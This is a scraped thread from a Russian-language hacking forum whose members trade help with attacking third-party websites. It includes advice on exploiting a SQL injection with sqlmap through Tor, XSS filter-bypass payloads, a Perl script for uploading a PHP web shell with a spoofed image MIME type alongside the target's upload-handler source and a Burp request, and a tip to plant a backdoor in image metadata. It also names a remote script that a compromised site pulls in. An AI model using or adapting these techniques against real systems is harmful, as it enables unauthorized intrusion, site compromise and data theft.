Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by +, 27 Apr 2015.

  1. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    655
    Likes Received:
    1,390
    Reputations:
    421
    Он тянет, сохраняет и инклудит вот этот http://linksferma.com/lnk/inj.php скрипт. Там уже понятнее, что к чему.
     
  2. TPAXXTOP

    TPAXXTOP New Member

    Joined:
    12 Oct 2016
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    подскажите друзья есть сайт с гет параметром, добавил в конец ' вышла такая ошибка, думаю есть уязвимость
    You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near and status=1' at line 1
    1064
    но при попытке раскрутить его мапом выдает ошибку unable to connect to the target URL
    пробывал прокси сунуть такая же беда
     
  3. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    4,229
    Likes Received:
    26,179
    Reputations:
    147
    TPAXXTOP likes this.
  4. TPAXXTOP

    TPAXXTOP New Member

    Joined:
    12 Oct 2016
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
  5. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    242
    Likes Received:
    445
    Reputations:
    145
    Попробуй для начала раскрутить руками. Потом, когда на руках будет раскрученная уязвимость - используй соответствующие тамперы.
     
    erwerr2321 and TPAXXTOP like this.
  6. TPAXXTOP

    TPAXXTOP New Member

    Joined:
    12 Oct 2016
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    да дело в том что я не умею крутить руками) подскажи как это сделать правильно, или тыкни хоть в какой то мануал пожалуста)
     
  7. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    4,229
    Likes Received:
    26,179
    Reputations:
    147
    TPAXXTOP likes this.
  8. ilia455

    ilia455 New Member

    Joined:
    7 Sep 2015
    Messages:
    6
    Likes Received:
    2
    Reputations:
    2
    css injection гугли
     
  9. karkajoi

    karkajoi Well-Known Member

    Joined:
    26 Oct 2016
    Messages:
    443
    Likes Received:
    348
    Reputations:
    5
    запускай тор , в мапе пропиши --tor или юзай прокси
     
  10. matthhy

    matthhy New Member

    Joined:
    16 Feb 2017
    Messages:
    57
    Likes Received:
    0
    Reputations:
    0
  11. c4n3k

    c4n3k New Member

    Joined:
    29 Oct 2018
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
  12. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    500
    Likes Received:
    95
    Reputations:
    24
    Скинь посмотрю
     
    matthhy likes this.
  13. matthhy

    matthhy New Member

    Joined:
    16 Feb 2017
    Messages:
    57
    Likes Received:
    0
    Reputations:
    0
    Ребят, кто может помочь.
    Есть ссылка, нашел через NetSparker, она выдает ошибку. Можно ли эту ошибку как-то раскрутить.(адрес по типу https://site.su/fullnews-14
    [​IMG]
     
  14. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    500
    Likes Received:
    95
    Reputations:
    24
    Привет есть обходы для фильтра () " ?
    Code:
    <a href="javascript:alert1">XSS</a>
     
  15. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,791
    Likes Received:
    876
    Reputations:
    859
    onerror=alert;throw 1;

    This works on every browser apart from Firefox *, Safari and IE will just call the function with the argument but Chrome and Opera add uncaught to the argument. This is no big deal though since we can just modify it slightly and use a different object as an argument such as a string.


    onerror=eval;throw'=alert\x281\x29';
     
    _________________________
  16. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    500
    Likes Received:
    95
    Reputations:
    24
    Есть сайт на котором разрешено бронировать места, если я создам бота который забронирует все места вызвав финансовые потери, я нарушу закон?
     
  17. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,791
    Likes Received:
    876
    Reputations:
    859
    Вы что-нибудь слышали об упущенной выгоде?
     
    _________________________
    cat1vo likes this.
  18. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    153
    Likes Received:
    10
    Reputations:
    0
    Есть скрипт на perl c помощью которого я хочу залить на сайт веб шелл с подменой MIME-типа:

    Code:
    #!/usr/bin/perl
    #
    use LWP;
    use HTTP::Request::Common;
    $ua = $ua = LWP::UserAgent->new;;
       $res = $ua->request(POST 'Уязвимый Сайт',
            Content_Type => ' multipart/form-data; boundary="JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE"
    X-Unity-Version: 5.6.5f1',
            Content => [userfile => ["C:/jpeg.jpg.php", "jpeg.jpg.php", "Content-Type" =>"image/png", "iAuid" => "6cb4dbkgvato004v6i4vugq6q2","sSign" => "5msfdbv9gsct64cbo9e3hbc3p0", "content" => "" ],],);
    
    print $res->as_string();

    Но я не могу составить запрос таким образом, чтобы он принял файл. Постоянно натыкаюсь на ошибку 1000(что в скрипте значит - неправильно передан в параметре)
    В самом бурпе натыкаюсь уже на 1002 - (неверный тип файла)
    Подскажите, как правильно составить запрос на PERL, чтобы сайт принимал файл?

    Code:
    <?php
    
    include_once dirname(__FILE__) . '/configuration.php';
    include_once dirname(__FILE__) . '/includes/share/share.class.php';
    
    $oConfig = new JConfig();
    $Image = isset($_POST['content']) ? $_POST['content'] : null;
    if (is_null($Image)) {
        $Image = isset($_FILES['content']) ? $_FILES['content'] : null;
    }
    $Preview = isset($_POST['preview']) ? $_POST['preview'] : '';
    if (empty($Preview)) {
        $Preview = isset($_FILES['preview']) ? $_FILES['preview'] : '';
    }
    $iAuid = isset($_POST['auid']) ? intval($_POST['auid']) : intval($_GET['auid']);
    $sShareType = isset($_POST['shareType']) ? $_POST['shareType'] : '';
    $sSign = isset($_POST['sign']) ? $_POST['sign'] : $_GET['sign'];
    $sBaseUrl = 'http://' . $_SERVER['HTTP_HOST'] . '/';
    if ($Image && $iAuid && $sSign) {
        $sScriptUri = empty($_SERVER['SCRIPT_URI'])
            ? 'http' . (empty($_SERVER['HTTPS']) ? '' : 's') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']
            : $_SERVER['SCRIPT_URI'];
        if (md5($iAuid . $sScriptUri) == $sSign) {
            $oSharer = new GameShare($iAuid, $Image, $Preview, $sShareType, $sSign);
            $oSharer->setConfig($oConfig);
            $sShareUrl = null;
            $iResult = $oSharer->doShare($sShareUrl);
            if ($iResult == 1) {
                print $sBaseUrl . $sShareUrl;
            } else {
                print $sBaseUrl . '?ec=' . $iResult;
            }
        } else {
            error_log('Sign is incorrect => iAuid:' . $iAuid . ' sSign:' . $sSign . ' sScriptUri:' . $sScriptUri);
            print $sBaseUrl . '?ec=1001'; //подпись не совпадает
        }
    } else {
        error_log('Some parameters are not set => iAuid:' . $iAuid . ' sSign:' . $sSign . ' Image:' . ($Image ? '+' : '-'));
        print $sBaseUrl . '?ec=1000'; //пропущены обязательные параметры
    }
    
    Code:
    <?php
    
    include_once dirname(__FILE__).'/../mysql/mysql.class.php';
    
    class GameShare
    {
        private $auid;
        private $shareType;
        private $fileInfo;
        private $previewInfo;
        private $oConfig;
        private $sign;
        private $dbInfo = array();
        private $allowedMime = array(
            'image/png',
            'image/gif',
            'image/jpeg',
        );
    
        /**
         * @param $auid
         * @param $fileInfo
         * @param string $previewInfo
         * @param string $shareType
         * @param string $sign
         */
        public function __construct($auid, $fileInfo = null, $previewInfo = '', $shareType = '', $sign = '')
        {
            $this->auid = $auid;
            $this->fileInfo = $fileInfo;
            $this->previewInfo = $previewInfo;
            $this->shareType = $shareType;
            $this->sign = $sign;
        }
    
        /**
         * @param $sFolder
         */
        private function createFolder($sFolder)
        {
            if (!file_exists($sFolder)) {
                mkdir($sFolder, 0777);
            }
        }
    
        /**
         * @return null|string
         */
        private function createUserFolder()
        {
            if ($this->auid) {
                $shareFolder = dirname(__FILE__) . '/../../' . $this->oConfig->shareFolderName;
                $this->createFolder($shareFolder);
                $shareFolder10000 = $shareFolder . (intval($this->auid/10000)) . '/';
                $this->createFolder($shareFolder10000);
                $shareFolder1000 = $shareFolder10000 . (intval($this->auid/1000)) . '/';
                $this->createFolder($shareFolder1000);
                $shareFolder100 = $shareFolder1000 . (intval($this->auid/100)) . '/';
                $this->createFolder($shareFolder100);
                $shareFolder1 = $shareFolder100 . (intval($this->auid)) . '/';
                $this->createFolder($shareFolder1);
                return $shareFolder1;
            }
    
            return null;
        }
    
        /**
         * @return string
         */
        public function getUserFolder()
        {
            return $this->oConfig->shareFolderName . intval($this->auid/10000) . '/' . intval($this->auid/1000)
                . '/' . intval($this->auid/100) . '/' . intval($this->auid) . '/';
        }
    
        /**
         * @param $oConfig
         */
        public function setConfig($oConfig)
        {
            $this->oConfig = $oConfig;
            $this->dbInfo = array(
                'mysqlHost' => $this->oConfig->host,
                'mysqlUser' => $this->oConfig->user,
                'mysqlPassword' => $this->oConfig->password,
                'mysqlDB' => $this->oConfig->db,
            );
        }
    
        /**
         * @param $auid
         */
        public function setAuid($auid)
        {
            $this->auid = $auid;
        }
    
        /**
         * @param $sResult
         * @return int
         */
        public function doShare(& $sResult)
        {
            $sUserFolder = $this->createUserFolder();
            if (!$sUserFolder) return 1003; //ошибка при загрузке файла на сервер
    
            $time = time();
    
            // Заливаем основную картинку
            $imageInfo = getimagesize($this->fileInfo['tmp_name']);
            if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла
            if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла
            $aExt = explode('/', $imageInfo['mime']);
            $fileName = $time . '.' . $aExt[1];
            $sDest = $sUserFolder . $fileName;
            move_uploaded_file($this->fileInfo['tmp_name'], $sDest);
    
            // Заливаем превью (если есть что)
            $previewFileName = '';
            if ($this->previewInfo) {
                $imageInfo = getimagesize($this->previewInfo['tmp_name']);
                if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла
                if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла
                $aExt = explode('/', $imageInfo['mime']);
                $previewFileName = $time . '-thumb.' . $aExt[1];
                $sDest = $sUserFolder . $previewFileName;
                move_uploaded_file($this->previewInfo['tmp_name'], $sDest);
            }
    
            // Сохраняем, формируем ответ, если ОК
            $iResult = $this->save($fileName, $previewFileName);
            if (!$iResult) return 1004;
            $sResult = '?share='.$iResult;
    
            return 1;
        }
    
        /**
         * @param $fileName
         * @param string $previewFileName
         * @return mixed
         */
        public function save($fileName, $previewFileName = '')
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oSQL->query('INSERT INTO tbl_share_info (auid, filename, preview_filename, sharedate) VALUES ('
                . intval($this->auid) . ', "' . $fileName . '", "' . $previewFileName . '", NOW())');
    
            return $oSQL->insert_id;
        }
    
        /**
         * @param $id
         * @return mixed
         */
        public function get($id)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE id=' . intval($id));
    
            return $oResult->fetch_array();
        }
    
        /**
         * @param $id
         * @return int
         */
        public function getPrev($id)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT MAX(id) as prev FROM tbl_share_info WHERE id<' . intval($id));
            $aRow = $oResult->fetch_array();
    
            return intval($aRow['prev']);
        }
    
        /**
         * @param $id
         * @return int
         */
        public function getNext($id)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT MIN(id) as next FROM tbl_share_info WHERE id>' . intval($id));
            $aRow = $oResult->fetch_array();
    
            return intval($aRow['next']);
        }
    
        /**
         * @param $auid
         * @return mixed
         */
        public function checkUserScreens($auid)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT COUNT(*) AS iCnt FROM tbl_share_info WHERE auid=' . intval($auid));
            $aRow = $oResult->fetch_assoc();
    
            return $aRow['iCnt'];
        }
    
        /**
         * @param $auid
         * @return array
         */
        public function getUserScreens($auid)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE auid=' . intval($auid) . ' ORDER BY sharedate DESC');
            $aResult = array();
            while ($aRow = $oResult->fetch_assoc()) {
                $aResult[] = $aRow;
            }
    
            return $aResult;
        }
    }
    
     
  19. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,403
    Likes Received:
    884
    Reputations:
    859
    Заливаете сам шел? попробуйте лить саму картинку и в ее метотегах прописать мини бэгдорчик, а там если прольется, с него уже и лейте шелл.
     
    _________________________
  20. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    153
    Likes Received:
    10
    Reputations:
    0
    По скрипту он сначала проверяет на соответствие программ.
    И говорит о том, что указаны неверные параметры, хотя все указано верно.
    После он уже проверяет на MIME

    Проблема с указанием параметров из-за незнания перла..да и бурпа.

    Пример из бурпа, он уже дает ошибку 1002 и совершенно непонятно, почему в скрипте пишет ошибку 1000(неверны переданы параметры), а через бурп 1002(некорректный MIME файл) хотя я загружаю чистую картинку, без примесей

    Code:
    POST /share.php HTTP/1.1
    Host: Сайт
    Connection: close
    User-Agent: UnityPlayer/5.6.5f1 (http://unity3d.com)
    Content-Type: multipart/form-data; boundary="JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE"
    Content-Length: 591093
    
    
    --JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE
    Content-Type: text/plain; charset="utf-8"
    Content-disposition: form-data; name="auid"
    
    343296
    --JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE
    Content-Type: text/plain; charset="utf-8"
    Content-disposition: form-data; name="sign"
    
    3ca4df16083f3d3ad33409014fdf43c4
    --JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE
    Content-Type: image/png
    Content-disposition: form-data; name="content"; filename="content"
    Картинка
    
     
    #2460 Muracha, 14 Nov 2018
    Last edited: 14 Nov 2018
Loading...